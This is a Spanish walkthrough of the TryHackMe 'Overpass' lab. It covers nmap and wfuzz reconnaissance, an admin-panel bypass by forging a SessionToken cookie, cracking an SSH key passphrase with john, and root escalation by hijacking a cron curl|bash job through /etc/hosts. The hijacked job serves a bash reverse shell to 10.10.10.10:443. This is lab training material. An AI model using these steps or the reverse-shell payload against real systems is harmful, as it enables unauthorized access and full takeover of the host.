Overpass
January 7, 20235 minutes
https://tryhackme.com/room/overpass
IP Atacante = 10.10.10.10
IP Víctima = 10.10.170.40
Reconocimiento
Para empezar lo primero es comprobar si la máquina está activa y que OS tiene
❯ ping -c 1 10.10.170.40
PING 10.10.170.40 (10.10.170.40) 56(84) bytes of data.
64 bytes from 10.10.170.40: icmp_seq=1 ttl=63 time=218 ms
--- 10.10.170.40 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 217.508/217.508/217.508/0.000 ms
En este caso da un ttl (time to live) de 63, entendiendo que ttl=64: Linux / ttl=128: Windows. Esta máquina es Linux por aproximación
Escaneo de puertos (nmap)
Ahora empezamos con un escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -n -vvv -Pn 10.10.170.40 -oG allPorts
Parámetro | Función |
---|---|
-p- | Para que el escaneo sea a todos los puertos (65536) |
–open | Para que solo reporte los puertos abiertos |
-sS –min-rate 5000 | Definir el tiempo del escaneo |
-n | Omitir resolución DNS |
-vvv | Para que vaya reportando lo que encuentre por consola |
-Pn | Skip host discovery |
-oG allPorts | Para que guarde el escaneo en format grepeable en un archivo llamado allPort |
Con una función definida en la zshrc llamada extractPorts, nos reporta los puertos abiertos de una forma más visual
Función extractPorts de @s4vitar
❯ extractPorts allPorts
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: extractPorts.tmp
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │
2 │ [*] Extracting information...
3 │
4 │ [*] IP Address: 10.10.170.40
5 │ [*] Open ports: 22,80
6 │
7 │ [*] Ports copied to clipboard
8 │
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Ahora con nmap vamos a intentar buscar las versiones de los servicios de los puertos y ejecutar scripts básicos de reconocimientos
❯ nmap -p 22,80 -sC -sV 10.10.170.40
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-07 20:15 CET
Nmap scan report for 10.10.170.40
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 37968598d1009c1463d9b03475b1f957 (RSA)
| 256 5375fac065daddb1e8dd40b8f6823924 (ECDSA)
|_ 256 1c4ada1f36546da6c61700272e67759c (ED25519)
80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Overpass
Web
Con el whatweb podemos ver más información sobre la web:
❯ whatweb 10.10.170.40
http://10.10.170.40 [200 OK] Country[RESERVED][ZZ], HTML5, IP[10.10.170.40], Script, Title[Overpass], X-UA-Compatible[IE=edge]
Al entrar a la web con lo primero que nos encontramos es esta página
Buscando Subdirectorios
Con wfuzz vamos a buscar subdirectorios mediante el diccionario /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
wfuzz -c -t 200 --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000069: 301 0 L 0 W 0 Ch "downloads"
000000039: 301 0 L 0 W 0 Ch "img"
000000156: 301 0 L 0 W 0 Ch "aboutus"
000000259: 301 2 L 3 W 42 Ch "admin"
000000550: 301 0 L 0 W 0 Ch "css"
Infiltración
Dentro del /admin hay un panel de login. Viendo el codigó del /admin se puede ver que hay un login.js
<script src="/login.js"></script>
El cual contiene lo siguiente:
async function postData(url = '', data = {}) {
// Default options are marked with *
const response = await fetch(url, {
method: 'POST', // *GET, POST, PUT, DELETE, etc.
cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
credentials: 'same-origin', // include, *same-origin, omit
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
redirect: 'follow', // manual, *follow, error
referrerPolicy: 'no-referrer', // no-referrer, *client
body: encodeFormData(data) // body data type must match "Content-Type" header
});
return response; // We don't always want JSON back
}
const encodeFormData = (data) => {
return Object.keys(data)
.map(key => encodeURIComponent(key) + '=' + encodeURIComponent(data[key]))
.join('&');
}
function onLoad() {
document.querySelector("#loginForm").addEventListener("submit", function (event) {
//on pressing enter
event.preventDefault()
login()
});
}
async function login() {
const usernameBox = document.querySelector("#username");
const passwordBox = document.querySelector("#password");
const loginStatus = document.querySelector("#loginStatus");
loginStatus.textContent = ""
const creds = { username: usernameBox.value, password: passwordBox.value }
const response = await postData("/api/login", creds)
const statusOrCookie = await response.text()
if (statusOrCookie === "Incorrect credentials") {
loginStatus.textContent = "Incorrect Credentials"
passwordBox.value=""
} else {
Cookies.set("SessionToken",statusOrCookie)
window.location = "/admin"
}
}
Lo que hace es: Se verifica la respuesta del servidor para comprobar si contiene la cadena “Incorrect credentials” (credenciales incorrectas), y si no se recibe, el script establece una cookie llamada “SessionToken” con el valor de la respuesta del servidor y redirige al usuario a la página “/admin”.
Entonces lo que podemos hacer es crear una cookie con el nombre “SessionToken” y el value random. Al recargar ya podemos entrar
Lo que vemos al recargar la página, es una RSA private key.
Esa private key la vamos a guardar en un archivo llamado id_rsa
Primero le damos los permisos:
chmod 600 id_rsa
En la rsa private key vemos que pone que està encriptada.
Para conesguir la contraseña vamos a sacar el hash con ssh2john y después con john mediante un diccionario vamos a probar de crackearlo
ssh2john id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt id_rsa.hash
Ya tenemos la contraseña
Ahora nos conectamos por ssh como james con la id_rsa
ssh -i id_rsa james@10.10.45.54
Escalada de privilegios
Con un cat /etc/crontab
Vemos que hace como root un curl a overpass.thm/downloads/src/buildscript.sh y después lo ejecuta con bash.
Tenemos permisos para editar el /etc/hosts
Añadimos lo siguiente en el /etc/hosts
10.10.10.10 overpass.thm
Después desde nuestra máquina creamos las carpetas y el archivo que salen en la url del crontab
❯ cat downloads/src/buildscript.sh
───────┬─────────────────────────────────────────────────────────────────────────────────────────
│ File: downloads/src/buildscript.sh
───────┼─────────────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/bash
2 │
3 │ bash -c "bash -i >& /dev/tcp/10.10.10.10/443 0>&1"
───────┴─────────────────────────────────────────────────────────────────────────────────────────
Nos abrimos un servidor con python
sudo python3 -m http.server 80
Y por último nos ponemos en escucha por el puerto 443 con netcat
nc -nlvp 443
Nos esperamos un rato y ya somos root